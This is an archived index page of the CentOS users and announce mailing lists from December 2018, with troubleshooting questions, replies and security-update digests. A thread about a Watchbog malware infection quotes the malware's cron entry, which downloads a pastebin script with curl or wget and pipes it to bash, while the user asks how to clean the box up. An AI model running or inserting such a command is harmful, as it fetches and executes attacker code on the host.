be used to set a preferred IP address" Dez 27 12:46:22 froodo.org dockerd-current[15041]: Error starting daemon: Error initializing network controller: Error creating default "bridge" network: could not find an available, non-overlapping IPv6 address pool among the defaults to assign to the network Dez 27 12:46:22 froodo.org systemd[1]: docker.service: main process exited, code=exited, status=1/FAILURE Dez 27 12:46:22 froodo.org systemd[1]: Failed to start Docker Application Container Engine. Dez 27 12:46:22 froodo.org systemd[1]: Unit docker.service entered failed state. Dez 27 12:46:22 froodo.org systemd[1]: docker.service failed. My ip config: [root@froodo network-scripts]# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 96:00:00:17:06:a4 brd ff:ff:ff:ff:ff:ff inet 116.203.40.3/32 brd 116.203.40.3 scope global dynamic eth0 valid_lft 84360sec preferred_lft 84360sec inet6 2a01:4f8:1c0c:7c6c::1/64 scope global valid_lft forever preferred_lft forever inet6 fe80::9400:ff:fe17:6a4/64 scope link valid_lft forever preferred_lft forever I tried a lot of things from differnt howtos, but only with no success. What the next steps to running docker with ipv6? Thx. Joe

2 1

Re: [CentOS] You removed Weboob package over political reasons? Whole Internet laughs at you
by Alice Wonder 26 Dec '18

26 Dec '18

On 12/24/18 7:21 AM, vsnsdualce(a)memeware.net wrote: > Debian is not ruled by the men who actually write the software, but > instead women. *snip* Can we please ban the person who sent that disgusting rant to the list?

7 8

CentOS-announce Digest, Vol 166, Issue 8
by centos-announce-request＠centos.org 25 Dec '18

25 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2018:3831 Critical CentOS 6 firefox Security Update (Johnny Hughes) 2. CESA-2018:3833 Critical CentOS 7 firefox Security Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Fri, 21 Dec 2018 19:07:59 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3831 Critical CentOS 6 firefox Security Update Message-ID: <20181221190759.GA3322(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3831 Critical Upstream details at : https://access.redhat.com/errata/RHSA-2018:3831 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) i386: 429981c764d258970b014425dfe4a26573613bb5941d254e0deac4aa21ed0c91 firefox-60.4.0-1.el6.centos.i686.rpm x86_64: 429981c764d258970b014425dfe4a26573613bb5941d254e0deac4aa21ed0c91 firefox-60.4.0-1.el6.centos.i686.rpm 2e436d3c160a06bb442a4caea811f40855a07579a69a4de4d67e3da4ec30a605 firefox-60.4.0-1.el6.centos.x86_64.rpm Source: 705857e68c4510628e0d571b8dbc702ffee6b512bbd6ad496b19cba8855daed6 firefox-60.4.0-1.el6.centos.src.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Fri, 21 Dec 2018 19:08:51 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3833 Critical CentOS 7 firefox Security Update Message-ID: <20181221190851.GA3402(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3833 Critical Upstream details at : https://access.redhat.com/errata/RHSA-2018:3833 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 9db402dc9f056bf640dc02800014ad688ac988ad10c7359fc66ea2b5538a951a firefox-60.4.0-1.el7.centos.i686.rpm 5553ef981d4841a3041e728e07169aad5a2d4ab0a4cd3fba5cddaefe7c9d0be9 firefox-60.4.0-1.el7.centos.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 8 ***********************************************

1 0

Fedora Server - as an alternative ?
by lejeczek 22 Dec '18

22 Dec '18

hi guys I wonder if any Centosian here have done something different than only contemplated using Fedora Server, actually worked on it in test/production envs. If here are some folks who have done it I want to ask if you deem it to be a viable option to put it on at least portion of servers stack. Anybody? Many thanks, L.

9 11

Gnome-shell memory
by Jerry Geis 21 Dec '18

21 Dec '18

So after much research it seems the only way to "help" the gnome-shell memory leak issue (I still see it on CentOS 7.6) is to do "export DISPLAY=:0.0; gnome-shell --replace" periodically. Perhaps in cron. Is that an OK solution for the LONG haul? Seems to knock the memory back down and box appears to keep running. Thanks, Jerry

2 3

Re: [CentOS] Fedora Server - as an alternative ?
by mark 21 Dec '18

21 Dec '18

Robert Moskowitz wrote: > On 12/20/18 10:33 AM, mark wrote: >> lejeczek via CentOS wrote: >>> >>> I wonder if any Centosian here have done something different than >>> only contemplated using Fedora Server, actually worked on it in >>> test/production envs. >>> >>> If here are some folks who have done it I want to ask if you deem it >>> to be a viable option to put it on at least portion of servers stack. >>> >>> Anybody? >>> >>> >> I would not run it as a server. In a server and workstation >> environment, you do *not* want to have daily multiple updates to >> software, you want stability, or you're likely to have your users >> seriously aggravated by you, for breaking their jobs far too frequently. > > Where do you get that with Fedora server you have to do daily multiple > updates? > I frequently see my manager's fedora box doing updates, multiple times a week. mark

2 1

CentOS-announce Digest, Vol 166, Issue 7
by centos-announce-request＠centos.org 21 Dec '18

21 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Updates in 7.6.1810/os Repository from the CR Announce List (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Thu, 20 Dec 2018 07:50:09 -0600 From: Johnny Hughes <johnny(a)centos.org> To: CentOS-Announce <centos-announce(a)centos.org> Subject: [CentOS-announce] Updates in 7.6.1810/os Repository from the CR Announce List Message-ID: <776565e3-dfea-45ba-a4a6-ef909464ceac(a)centos.org> Content-Type: text/plain; charset="utf-8" As part of the CR process ( https://wiki.centos.org/AdditionalResources/Repositories/CR ), the following updates were done and are included in the CentOS base ( os/ ) repository for CentOS Linux 7.6.1810. https://lists.centos.org/pipermail/centos-cr-announce/2018-November/thread.… https://lists.centos.org/pipermail/centos-cr-announce/2018-December/thread.… There was an issue with the announcement generation scripting that used the errata API to pull information for the announcements (that is now fixed), so some of the announcements happened later than the actual build date and release date of the packages (as an example, the date we created the man-db announcement was December 19th ( https://lists.centos.org/pipermail/centos-cr-announce/2018-December/005800.… ) .. the actual date of the package build was 30 Oct 2018 08:26:54 PM UTC .. and it was signed and then released initially into CR on 12 Nov 2018. We have since generated any missing announcements to the CR announce list and also any updates to the os/ repo (that live in the udpates/ repo) were announced to this centos-announce list. Thanks, Johnny Hughes

1 0

grpc packages
by sthustfo 20 Dec '18

20 Dec '18

Is there any repository/location where we can grab prebuilt grpc packages for CentOS? Any pointers appreciated. Thanks.

2 2

Rsyslog warning
by SternData 20 Dec '18

20 Dec '18

I see this error every day. What should I be looking at to fix it? rsyslogd: sd_journal_get_cursor() failed: 'Cannot assign requested address' [v8.24.0-34.el7] -- -- Steve

1 0

abrt-watch-log -F BUG: WARNING:
by Ilyass Kaouam 20 Dec '18

20 Dec '18

Hi, Please what is this error ? /usr/bin/abrt-watch-log -F BUG: WARNING: at WARNING: CPU: INFO: possible recursive locking detected ernel BUG at list_del corruption list_add corruption do_IRQ: stack overflow: ear stack overflow (cur: eneral protection fault nable to handle kernel ouble fault: RTNL: assertion failed eek! page_mapcount(page) went negative! adness at NETDEV WATCHDOG ysctl table check failed : nobody cared IRQ handler type mismatch Kernel panic - not syncing: Machine Check Exception: Machine check events logged divide error: bounds: coprocessor segment overrun: invalid TSS: segment not present: invalid opcode: alignment check: stack segment: fpu exception: simd exception: iret exception: /var/log/messages -- /usr/bin/abrt-dump-oops -xtD uname -a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux CentOS Linux release 7.5.1804 (Core) Thank's --

1 0

kickstart install
by Jerry Geis 20 Dec '18

20 Dec '18

In changing from a 7.5 to 7.6 automated install. 7.6 is not happy and the install process stops and shows the screen where the "Install Source" is not happy. I enter 3 to see what its set for, I select network, I select http and I see my URL that my kickstart file has. It looks right - but its not happy. I tried looking in other consoles (text mode) to see any error and nothing is showing. How do I see what the error is about the install source ? Thanks, Jerry

1 1

Updates in 7.6.1810/os Repository from the CR Announce List
by Johnny Hughes 20 Dec '18

20 Dec '18

As part of the CR process ( https://wiki.centos.org/AdditionalResources/Repositories/CR ), the following updates were done and are included in the CentOS base ( os/ ) repository for CentOS Linux 7.6.1810. https://lists.centos.org/pipermail/centos-cr-announce/2018-November/thread.… https://lists.centos.org/pipermail/centos-cr-announce/2018-December/thread.… There was an issue with the announcement generation scripting that used the errata API to pull information for the announcements (that is now fixed), so some of the announcements happened later than the actual build date and release date of the packages (as an example, the date we created the man-db announcement was December 19th ( https://lists.centos.org/pipermail/centos-cr-announce/2018-December/005800.… ) .. the actual date of the package build was 30 Oct 2018 08:26:54 PM UTC .. and it was signed and then released initially into CR on 12 Nov 2018. We have since generated any missing announcements to the CR announce list and also any updates to the os/ repo (that live in the udpates/ repo) were announced to this centos-announce list. Thanks, Johnny Hughes

1 0

Atomic ISO unavailable
by Eric Lehmann 20 Dec '18

20 Dec '18

Hello The http://cloud.centos.org/centos/7/atomic/images/CentOS-Atomic-Host-7-Install… provided in https://wiki.centos.org/SpecialInterestGroup/Atomic/Download is down. Does anybody know if there is a reason for that? Regards

2 1

A question about why the function "recv" return 0
by yf chu 20 Dec '18

20 Dec '18

I am a website developer. We deploy a Nginx server on centos to provide HTTP services. Recently, some customers of our website were complaining about that occasionally they could not open the webpage, the web browser show that the tcp connection was reset. I checked the Nginx logs and source code and found that the function "recv" return 0 when some customers made HTTP requests. Our customers have confirmed that their network was ok at that time. Now, I could not find any clue about this issue. Is there any solution to find the reason? Does it have something to do with firewall, or ISP? Can we find something from the system log?

3 3

CentOS-announce Digest, Vol 166, Issue 6
by centos-announce-request＠centos.org 20 Dec '18

20 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2018:3854 Low CentOS 6 ntp Security Update (Johnny Hughes) 2. CEBA-2018:3847 CentOS 7 pacemaker BugFix Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 19 Dec 2018 23:46:54 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3854 Low CentOS 6 ntp Security Update Message-ID: <20181219234654.GA25454(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3854 Low Upstream details at : https://access.redhat.com/errata/RHSA-2018:3854 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) i386: 8d4c7f5edb0fb14af55ff6f74ee15349e69f5a8ff180b39b2fbbd01d99c0199a ntp-4.2.6p5-15.el6.centos.i686.rpm a9a5283906f361f4b2d85be307eb8c7574bc749ec6e9d03988831b628e2bd273 ntpdate-4.2.6p5-15.el6.centos.i686.rpm 18edea5cb7d5a13afc34464fd4cef7cbd46e6d6a7b91acbf1a6dd58a9997a411 ntp-doc-4.2.6p5-15.el6.centos.noarch.rpm ba4d8eff03ce5ffdd42025c0aa9e21ca1429f02909e2e0f39a2d838c22e04eae ntp-perl-4.2.6p5-15.el6.centos.i686.rpm x86_64: b6ee6afaf3ff4b90b3a3f0077e111362a9ce6912384799b4798cfba3984a60ec ntp-4.2.6p5-15.el6.centos.x86_64.rpm 0bd3608f6a5a0935529f9e16de6b875ac810e89f25fc03a034e1e11e763b9bf9 ntpdate-4.2.6p5-15.el6.centos.x86_64.rpm 18edea5cb7d5a13afc34464fd4cef7cbd46e6d6a7b91acbf1a6dd58a9997a411 ntp-doc-4.2.6p5-15.el6.centos.noarch.rpm c638a5e57e7895b4c605f63077902c141ada8a26bf2a94272dc0d11f0a35bc30 ntp-perl-4.2.6p5-15.el6.centos.x86_64.rpm Source: b41d310c7c14b58374dfd75e55b5b9b9f7105ca983e0a3ac4cf43be95e47da8b ntp-4.2.6p5-15.el6.centos.src.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Wed, 19 Dec 2018 23:47:22 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CEBA-2018:3847 CentOS 7 pacemaker BugFix Update Message-ID: <20181219234722.GA25572(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Bugfix Advisory 2018:3847 Upstream details at : https://access.redhat.com/errata/RHBA-2018:3847 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 2e35900146ccf77ab81cb32e8a7957c10aa678bae36c55744e9b18f1750a95e8 pacemaker-1.1.19-8.el7_6.2.x86_64.rpm 5b54875eaccb9c93054e5eef35caf5ff46e2f0cfbd2acb859b813cb3f473301f pacemaker-cli-1.1.19-8.el7_6.2.x86_64.rpm e2312c85fc1373cf28748db20cfee3135a390b48b9c0abce874e9939af9377fb pacemaker-cluster-libs-1.1.19-8.el7_6.2.i686.rpm 302e43e36b0262d23fb2cd34f393eb5834c7f82944d79d3e46923f9d6544cb54 pacemaker-cluster-libs-1.1.19-8.el7_6.2.x86_64.rpm a7b495377398e9c514391716bc0a34c66287be8fbad4b47c4d6ff48c9edfa1b0 pacemaker-cts-1.1.19-8.el7_6.2.x86_64.rpm e295d5e858815ad9b39d2498e24de56a7c4aef479f04dedc0e86cee13aaf1727 pacemaker-doc-1.1.19-8.el7_6.2.x86_64.rpm 3d8ca4d2a12878da0d49541b27c8266d6d7e01f8c984b66443f8b1a87b55c004 pacemaker-libs-1.1.19-8.el7_6.2.i686.rpm a19e6555225e34aed04e981aad4925a85c67452b92cece2000e76d03fce500dc pacemaker-libs-1.1.19-8.el7_6.2.x86_64.rpm 65952d9647e01febadc9e68a438e2ca1cf4ab15deaace176761edcbe094ec380 pacemaker-libs-devel-1.1.19-8.el7_6.2.i686.rpm bfa7aa216dab27e96169eb2b63ed0e233eaba1368dd2bbb00e22eaa52348f321 pacemaker-libs-devel-1.1.19-8.el7_6.2.x86_64.rpm db71a78725c41b66642e5ed756d0b7bfeee2ca1230cbf9433ee1cfbc27d245f0 pacemaker-nagios-plugins-metadata-1.1.19-8.el7_6.2.x86_64.rpm 51f9cbc0b8ccf236667e2b6bf057b662a44abdb4633efa58c4961362a9e3bf6a pacemaker-remote-1.1.19-8.el7_6.2.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 6 ***********************************************

1 0

VNC question
by isdtor 20 Dec '18

20 Dec '18

We have run into the infamous black screen problem with tigervnc under CentOS7, which prompted me to look into how vnc is configured here. https://access.redhat.com/solutions/966063 Am I reading this correctly - root needs to set up a systemd vnc service for every user and display individually? Compared to e.g. CentOS before 7, or indeed any other Linux/Unix system where vnc is completely under user control?

4 7

how to implement rate-limiting measures on interfaces using IPTables?
by Sean Son 19 Dec '18

19 Dec '18

Hello all I have been tasked to implement rate-limiting measures on interfaces using IPTables in RHEL 7. I know that in order to implement it using FirewallD, I will need to run the following command: firewall-cmd --direct --add-rule ipv4 filter IN_public_allow 0 -p tcp -m limit --limit 25/minute --limit-burst 100 -j ACCEPT How would I do the same using IPtables? Thanks!! Sean

2 1

Cgroups : memory.limit_in_bytes and memory.usage_in_bytes includes file cache?
by valleru＠cbio.mskcc.org 19 Dec '18

19 Dec '18

Hello All, We were under the assumption that Cgroups memory controller, limits memory based on just the RSS size of the process. However, i see that the process is getting killed even when the RSS size is very low compared to the limit in bytes. For example: cat memory.stat cache 85880266752 rss 2441216 rss_huge 0 mapped_file 8192 swap 0 pgpgin 29265847812 pgpgout 29244880354 pgfault 48530374728 pgmajfault 20 inactive_anon 0 active_anon 2441216 inactive_file 85879496704 active_file 770048 unevictable 0 hierarchical_memory_limit 85899345920 hierarchical_memsw_limit 85899345920 total_cache 85880266752 total_rss 2441216 total_rss_huge 0 total_mapped_file 8192 total_swap 0 total_pgpgin 29265847812 total_pgpgout 29244880354 total_pgfault 48530374728 total_pgmajfault 20 total_inactive_anon 0 total_active_anon 2441216 total_inactive_file 85879496704 total_active_file 770048 total_unevictable 0 cat memory.usage_in_bytes 85885800448 cat memory.limit_in_bytes 85899345920 What is confusing is that , why is memory.usage_in_bytes being shown as 85885800448, when the RSS is just 2441216? Is it true that memory.usage_in_bytes/memory.limit_in_bytes takes files cache into consideration when calculating the usage? Regards, Lohit

1 0

Out of memory
by Jerry Geis 19 Dec '18

19 Dec '18

Hi, I have three machines running CentOS 7.6 in desktop mode. 2 are fine. 1 of them is having a memory issue that is Out of memory [17878] 1000 17878 2069991 42311 11898880 0 0 gnome-shell This gnome-shell looking at /var/log/messages after reboot - is the HIGHEST amount of memory. Looking at "top" now - it certainly does not use that amount of ram at this time. These are the gnome-shell packages installed. rpm -qa | grep gnome-shell gnome-shell-extension-alternate-tab-3.28.1-5.el7.noarch gnome-shell-extension-top-icons-3.28.1-5.el7.noarch gnome-shell-extension-window-list-3.28.1-5.el7.noarch gnome-shell-extension-launch-new-instance-3.28.1-5.el7.noarch gnome-shell-extension-apps-menu-3.28.1-5.el7.noarch gnome-shell-extension-common-3.28.1-5.el7.noarch gnome-shell-extension-user-theme-3.28.1-5.el7.noarch gnome-shell-extension-places-menu-3.28.1-5.el7.noarch gnome-shell-3.28.3-6.el7.x86_64 Why is gnome-shell eating my memory? What can I do? Basically - the machine isn't even doing anything. Boots up and shows one static web page. At this time that is all. Then about 24 hours later its out of memory. The other 2 machines that seem fine - are showing the same web page. But not out of memory. Thanks, Jerry

3 2

Spamassassin + Postfix : delete spam mail on the server ?
by Nicolas Kovacs 19 Dec '18

19 Dec '18

Hi, My mail server is running on CentOS 7 with Postfix, Dovecot and Spamassassin. I get quite a lot of spam on a few accounts, and Spamassassin does its job fine. Spam mail is identified correctly, and it looks like there are no false positives, e. g. valid mail is never identified as spam. When a message is flagged as spam, the subject line is rewritten to begin with [SPAM]. Then, a filter in Mozilla Thunderbird is setup, and when a subject line begins with [SPAM] the message is directly sent to Trash. I've documented the whole configuration here: * https://blog.microlinux.fr/spamassassin-centos/ The problem with this setup is that spam mail is still delivered, and I need Thunderbird's filters to weed out incoming mail. And when I'm using my webmail (running SquirrelMail), my inbox is a tsunami of unread [SPAM] messages. So I'd like to go a step further and delete all messages flagged [SPAM] directly on the server. It doesn't look like Spamassassin provides this functionality. Did any of you guys succeed in doing this anyway? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

10 12

CentOS-announce Digest, Vol 166, Issue 5
by centos-announce-request＠centos.org 19 Dec '18

19 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEBA-2018:3832 CentOS 7 resource-agents BugFix Update (Johnny Hughes) 2. CESA-2018:3834 Important CentOS 7 ghostscript Security Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 19 Dec 2018 03:21:52 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CEBA-2018:3832 CentOS 7 resource-agents BugFix Update Message-ID: <20181219032152.GA890(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Bugfix Advisory 2018:3832 Upstream details at : https://access.redhat.com/errata/RHBA-2018:3832 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 79aa7b8a924f66da70481041e131df1d717800eeb0e11f9ffe9a7ace6e3a9d2c resource-agents-4.1.1-12.el7_6.7.x86_64.rpm b36f781db6ae516889a79178393d14200ab4bdeffce8ca9d159abee4ac25a19b resource-agents-aliyun-4.1.1-12.el7_6.7.x86_64.rpm 134ad788dcf01a4d360e4afef1b60b9f0fc2e443ad3d0565a54e44659628c36b resource-agents-gcp-4.1.1-12.el7_6.7.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Wed, 19 Dec 2018 03:22:11 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3834 Important CentOS 7 ghostscript Security Update Message-ID: <20181219032211.GA983(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3834 Important Upstream details at : https://access.redhat.com/errata/RHSA-2018:3834 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: b02281b3f40e29efcc842714d9704763bce7f21f0b358a4246074513ec71da18 ghostscript-9.07-31.el7_6.6.i686.rpm 94a6c73acd88ad8c61fae422a2557f25d016c8301a5904ad416794934512af1e ghostscript-9.07-31.el7_6.6.x86_64.rpm 1a986c609ec1e7b11daeae3052847fabee509bfb40fe6188011673d990441223 ghostscript-cups-9.07-31.el7_6.6.x86_64.rpm 16c32cdf0ba38d3e109b5855a735c4d23d0cf11c2775a4dff31934a4c6c183fa ghostscript-devel-9.07-31.el7_6.6.i686.rpm 1ff0115fd9a2c9479bf9d1e490786303e53253d0aaa6b508728e671a19abfd0f ghostscript-devel-9.07-31.el7_6.6.x86_64.rpm 896fdf02ca354030aad6e2e71ffbcd49eb5a9d285d19e9f18ef03a5241e9a9be ghostscript-doc-9.07-31.el7_6.6.noarch.rpm 08a063cfd502e270eb11bee7c13b68c7d1a1fed4b13f0a8060490c704d75f3c7 ghostscript-gtk-9.07-31.el7_6.6.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 5 ***********************************************

1 0

Updating 7.5->7.6
by mark 18 Dec '18

18 Dec '18

I've got a user with a legacy NVidia card. I've got kmod-nvidia. Last time I did an update, all I did was yum update --disableexcludes. This time, it fails, with Error: Package: nvidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 (@elrepo) Requires: xorg-x11-server-Xorg <= 1.19.99 Removing: xorg-x11-server-Xorg-1.19.5-5.el7.x86_64 (@base) xorg-x11-server-Xorg = 1.19.5-5.el7 Updated By: xorg-x11-server-Xorg-1.20.1-5.1.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.1.el7 Available: xorg-x11-server-Xorg-1.20.1-3.el7.x86_64 (base) xorg-x11-server-Xorg = 1.20.1-3.el7 Available: xorg-x11-server-Xorg-1.20.1-5.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.el7 I'd appreciate any help understanding what this is telling me. It *looks* like it wants to update vidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 with vidia-x11-drv-304xx-304.135-5.el7.elrepo.x86_64 (or maybe 135-6) and then it wants to replace the elrepo mods with base or updates. Is this saying there's no update for the xorg-x11-server-Xorg (I don't see one) on elrepo? Does this mean I'll have to go back to the proprietary driver? mark

3 11

CentOS 7.5 Linux box got infected with Watchbog malware
by Kaushal Shriyan 18 Dec '18

18 Dec '18

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwarera… to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware? Thanks in Advance. Best Regards, Kaushal

7 7

Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware
by mark 18 Dec '18

18 Dec '18

Valeri Galtsev wrote: > On 12/17/18 2:57 PM, Mauricio Tavares wrote: >> On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan >> <kaushalshriyan(a)gmail.com> wrote: >>> >>> >>> Is there a way to find out how the CentOS 7.5 Linux box got infected >>> with malware? Currently i am referring to >>> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw >>> areransomware.html to carry out the below steps and is done manually. >>> >>> 1)rm -fr /tmp/*timesyncc.service* >>> 2)crontab -e -u apigee >>> delete the cron entry */1 * * * * (curl -fsSL >>> https://pastebin.com/raw/aGTSGJJp||wget -q -O- >>> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 >>> 3)ps aux | grep watchbog >>> kill -9 pidof watchbog >>> >>> Any suggestions or recommendations to find out how CentOS 7.5 Linux >>> box got infected with Watchbog Malware. Is there any open source >>> software which can >> >> do you have untampered log files? >> >>> be installed on CentOS 7.5 Linux box to detect and prevent Malware? > > Standard compromise recovery procedure since forever is (your local > policy my have slightly different order about notifications and similar): > > 1. back up all user data You should have been doing that all along. First step, before you do anything else, is pull the hard drive, put it into a hot-swap or external bay, and dd the entire drive to an identical one. THAT goes to forensics. Alternatively, pull the h/d, put in a new one, reset the BIOS to factory settings - that includes pulling the battery... *then* set what you need, and then build it new, and restore from backups. <snip> Why, yes, we did just do this, um, last year, after a compromise via a WordPress security hole. It did not manage to get to any other systems (we checked, and only a few run WordPress). mark

2 1

qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 - lost KVM guests - qemu-kvm-ev
by lejeczek 18 Dec '18

18 Dec '18

hi guys, I updated to qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 (also libvirt) and my Centos 6.10 kvm guests now do not start. Funnily enough Win10 guest are fine, only Centoses cannot start, silently & without any errors. Any care to comment? many thanks, L.

2 3

determining what depends on a rpm
by Frank Cox 17 Dec '18

17 Dec '18

yum remove lightdm That command tells me that it's also going to remove lightdm-gobject and lightdm-gtk. rpm -q --whatrequires lightdm no package requires lightdm So obviously we can't take the word of the --whatrequires option from the rpm command since yum remove tells me that there are two. That being the case, using yum remove to determine the actual dependency chain is not all that helpful since (a) only the root user can do that, which seems unnecessary when all you want to get is a report about the installed packages that the rpm command can already read as a user, and (b) you're taking a chance of fat-fingering something and destroying your system by accident. Ultimately it would be very useful to have some kind of a tool that would generate a report from the rpms installed on a system and tell you exactly what depends on what else. Among other things you could use that report to remove stuff that's not needed in any installation. -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

6 7

KVM Client NetworkManager Problem
by Günther J. Niederwimmer 17 Dec '18

17 Dec '18

Hello, On my systems I have after update to last centos 1810 a big Problem with the network?? Om my system I have three NIC two are connected from hardware (hostdev) the last is connected from the bridge on the host. (NetworkManager was disabled) Now after the update the client can't start the NIC's correctly :-( My Problem is the bridged NIC ethX I must Install and activate the NetworkManager or I have a LSB Error [ INFO ] Network Manager is not active. [DEPEND] Dependency failed for Network Manager Wait Online. Starting LSB: Bring up/down networking... [FAILED] Failed to start LSB: Bring up/down networking. But now NetworkManager create sometimes a new config for a new ethX this is configured from dhcp, but I must have a static address to connect other server (ldap...) Also the resolv.conf is overwritten and have wrong nameserver (ipv6) and duplicate search entries ... Now it is the Problem after a reboot the network is not running correct with or without NetworkManager? Thanks for a answer or help, -- mit freundliche Grüßen / best regards, Günther J. Niederwimmer

5 7

SSD no longer detected - slightly off topic
by Jerry Geis 16 Dec '18

16 Dec '18

